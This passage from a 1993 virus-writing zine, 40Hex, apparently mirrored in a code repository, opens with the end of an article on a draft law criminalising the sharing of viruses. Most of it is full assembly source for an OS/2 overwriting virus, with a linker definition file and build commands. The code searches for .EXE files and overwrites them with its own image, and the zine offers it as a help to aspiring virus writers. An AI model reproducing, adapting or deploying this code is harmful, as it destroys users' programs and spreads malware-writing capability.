prosecuted, if he had reasonable motives, to practically exclude a misuse. On a
retrospective analysis the judge will check if the person who gave a viruses to
somebody else (who misused it to cause damage) could in any way be blamed for
not having foreseen the occurred misuse. If you give a virus to a notorious
anti-virus professional, known for spreading viruses or source codes, or simply
to somebody who does not give a special guarantee for not misusing the virus,
you will be prosecuted. Who just trusted in the promise of a virus-recipient,
that the latter will not misuse it, will be in trouble, if he did not have a
very special additional reason to trust him. The law considers viruses as so
dangerous for the general public, that any act making them available to
somebody else, represents a general risk to the general public. Who invokes an
exception,that an act of making a virus available to somebody else, did not
represent such a risk has to prove it.
This may cause some concern, but law can not foresee any situation. Judges will
have to carefully check if the reasons to give a virus to somebody else, were
good enough to practically exclude any misuse.
Making a newly discovered virus available to McAfee or the Virus Test Center
will not be a crime, as long as the reputation of these recipients is above any
suspicion.
As the draft is now in the Parliament, there is practically no way to change
any thing in this text anymore (by the administration). Now it is up to the
politicians to decide about the subject and to make any additional change.
40Hex Number 12 Volume 3 Issue 3 File 009
This virus was given to us by Arthur Ellis, and is the first piece
of OS/2 virus source that I have ever seen. Although it is only an
overwriting virus, it should definately be helpful for anyone who wants
to write viruses in OS/2.
->GHeap
-----------------------------<Os2Vir1.Asm>-------------------------------------
INCLUDE OS2.INC ; if you don't have OS2.INC, see end of this file
COMMENT *
This simple overwriting virus demonstrates how the OS/2 API functions
are used to search for, open, and infect programs. No extended registers
are used, and the program may be assembled with MASM 5.1 or 6.0, TASM
for OS/2 (from the Borland C++ package), or with IBM Macro Assembler/2.
Link with :link386 /exepack virus,,,c:\os2\doscalls,virus.def
VIRUS.DEF: NAME VIRUS WINDOWCOMPAT
PROTMODE
STACKSIZE 8192
There is minimal error checking (since when do viruses check errors?). A
useful project for a student would be to convert this program to .386p mode.
- Arthur Ellis, 1993
*
PrintIt MACRO string, StrLen
push 1 ; stdout handle
push DS
mov DX, OFFSET string ; string to write
push DX
xor CX,CX ; zero CX
mov CL, [StrLen] ; string length
push CX
push DS
push OFFSET Written ; bytes written variable
call DosWrite ; like int 21/40
ENDM
OpenIt MACRO seg, handle, mode ; SEGMENT, open mode, handle
push seg ; SEGMENT of file name
push BX ; OFFSET of file name
push DS ; SEGMENT of handle
push OFFSET handle ; OFFSET of handle
push DS ; SEGMENT of open action
push OFFSET OpenAction ; OFFSET of open action
push 0 ; file size DWORD
push 0 ; file size DWORD
push 3 ; attributes: hid,r-o,norm
push 1 ; FILE_OPEN
push mode ; OPEN_SHARE_DENYNONE
push 0 ; DWORD 0 (reserved)
push 0 ; DWORD 0 (reserved)
Call DosOpen ; like int 21/3D
ENDM
.286p
STACK SEGMENT PARA STACK 'STACK'
DW 1000h
STACK ENDS
DGROUP GROUP _DATA, STACK
ASSUME CS:_TEXT, DS:DGROUP, SS:DGROUP, ES:DGROUP
_DATA SEGMENT WORD PUBLIC 'DATA'
FileSpec DB '*.EXE', 0
OpenErr DB ' <Error opening file>',13,10,27,'[m'
Hello DB 27,'[2J',27,'[1;36mMy name is '
Infected DB ' --> infected'
CRLF DB 13,10,27,'[m'
Written DW ? ; bytes written
MyHandle DW ? ; virus handle
VicHandle DW ? ; victim handle
OpenAction DW ? ; open result
Buf FileFindBuf <> ; file find structure
MySize DW ? ; virus length
EnvSeg DW ? ; selector for environment
CmdOfs DW ? ; OFFSET of command line
Image DB 2000 dup (?) ; virus image
ImageLen DW ? ; length of virus
DirHandle DW -1 ; directory handle
SrchCount DW 1 ; search count
_DATA ENDS
_TEXT SEGMENT WORD PUBLIC 'CODE'
extrn DOSCLOSE:far, DOSEXIT:far, DOSWRITE:far, DOSGETENV:far
extrn DOSFINDCLOSE:far, DOSFINDFIRST:far, DOSFINDNEXT:far
extrn DOSOPEN:far, DOSREAD:far
main PROC far
start: call GetName ; get the virus filename
OpenIt ES, MyHandle, 40h ; open virus for read
;--------------------------------------------------------------------
;---( Read virus to image buffer )-----------------------------------
;--------------------------------------------------------------------
push MyHandle ; handle for this program
push DS ; buffer for file image
push OFFSET Image
push 2000 ; Could use DosQFileInfo to
; get filesize but this works
push DS
push OFFSET ImageLen ; virus length goes here
call DosRead ; like int 21/3F
;--------------------------------------------------------------------
;---( Find files to infect )-----------------------------------------
;--------------------------------------------------------------------
call FindIt ; find first file
found: or AX, AX ; error?
jz NoErr ; no error
quit: push 1 ; terminate all threads
push 0 ; return code
call DosExit ; like int 21/4C
NoErr: cmp word ptr SrchCount, 0 ; no files found?
jz quit ; none found
PrintIt Buf.findbuf_achname,Buf.findbuf_cchName
; display filename found
;--------------------------------------------------------------------
;---( Write virus )--------------------------------------------------
;--------------------------------------------------------------------
lea BX,Buf.findbuf_achName ; filename OFFSET in BX
OpenIt DS, VicHandle, 42 ; ACCESS_READWRITE|SHAREDENYNONE
or AX,AX ; error?
jz proceed
PrintIt OpenErr, 25 ; error on open
jmp CloseIt
proceed: PrintIt Infected,15 ; add to hit list
mov BX,[VicHandle]
push [VicHandle] ; write to found file
push DS
push OFFSET Image ; string to write
push [ImageLen] ; image length
push DS
push OFFSET Written ; bytes written variable
call DosWrite ; write the virus
CloseIt: push [VicHandle] ; prepare to close
call DosClose ; close file
;--------------------------------------------------------------------
;---( Find next file )-----------------------------------------------
;--------------------------------------------------------------------
push DirHandle ; Directory Handle
push DS ; SEGMENT of buffer
push OFFSET Buf ; OFFSET of buffer
push SIZE Buf ; length of buffer
push DS ; SEGMENT of count
push OFFSET SrchCount ; OFFSET of count
call DosFindNext ; Find next file
; like int 21/4F
jmp found ; infect if found else exit
main ENDP
;--------------------------------------------------------------------
;---( Get virus file name from environment )-------------------------
;--------------------------------------------------------------------
GetName PROC near
push ds
push OFFSET EnvSeg
push ds
push OFFSET CmdOfs
call DosGetEnv ; get seg, ofs of command line
mov ES,EnvSeg ; ES:BX holds command line
mov BX,CmdOfs
xor DI,DI
xor AL,AL
mov CX,-1
cld
scan: repne scasb ; scan for double null
scasb
jne scan ; loop if single null
mov BX,DI ; program name address
mov CX,-1 ; find length
repne scasb ; scan for null byte
not CX ; convert CX to length
dec CX
mov [MySize],CX ; return length
PrintIt Hello, 22
push 1 ; stdout handle
push ES ; segment for command line
push BX ; OFFSET of program name
push [MySize] ; length of program name
push DS
push OFFSET Written ; bytes written variable
call DosWrite ; like int 21/40
PrintIt CRLF,5
ret
GetName ENDP
;--------------------------------------------------------------------
;---( Find first victim )--------------------------------------------
;--------------------------------------------------------------------
FindIt PROC near
push DS
push OFFSET FileSpec
push SS ; SEGMENT of directory handle
lea AX, DirHandle ; OFFSET of directory handle
push AX
push 07h ; attribute
push DS ; SEGMENT of buffer
push OFFSET Buf ; OFFSET of buffer
push SIZE Buf ; length of buffer
push DS ; SEGMENT of search count
lea AX, SrchCount ; OFFSET of search count
push AX
push 0 ; Reserved
push 0
call DosFindFirst ; Find first file
ret ; like int 21/4E
FindIt ENDP
;--------------------------------------------------------------------
_TEXT ENDS
END start
;--------------------------------------------------------------------
;--( FTIME structure from OS2.INC )----------------------------------
;--------------------------------------------------------------------
;FTIME STRUC
; ftime_fs DW ?
;FTIME ENDS
;ftime_twosecs EQU 01fh
;ftime_minutes EQU 07e0h
;ftime_hours EQU 0f800h
;--------------------------------------------------------------------
;--( FDATE structure from OS2.INC )----------------------------------
;--------------------------------------------------------------------
;FDATE STRUC
; fdate_fs DW ?
;FDATE ENDS
;fdate_day EQU 01fh
;fdate_month EQU 01e0h
;fdate_year EQU 0fe00h
;--------------------------------------------------------------------
;--( FileFindBuf structure from OS2.INC )----------------------------
;--------------------------------------------------------------------
;FILEFINDBUF STRUC
;findbuf_fdateCreation DB SIZE FDATE DUP (?)
;findbuf_ftimeCreation DB SIZE FTIME DUP (?)
;findbuf_fdateLastAccess DB SIZE FDATE DUP (?)
;findbuf_ftimeLastAccess DB SIZE FTIME DUP (?)
;findbuf_fdateLastWrite DB SIZE FDATE DUP (?)
;findbuf_ftimeLastWrite DB SIZE FTIME DUP (?)
;findbuf_cbFile DD ?
;findbuf_cbFileAlloc DD ?
;findbuf_attrFile DW ?
;findbuf_cchName DB ?
;findbuf_achName DB 256 DUP (?)
;FILEFINDBUF ENDS
;---------------------------------------------------------------------
-----------------------------<Virus.Def>----------------------------------------
NAME VIRUS WINDOWCOMPAT
PROTMODE
STACKSIZE 8192
-----------------------------<DoIt.Cmd>-----------------------------------------
masm /Zi %1;
link386 /exepack %1,,,c:\os2\doscalls,virus.def
Reference in New Issue View Git Blame Copy Permalink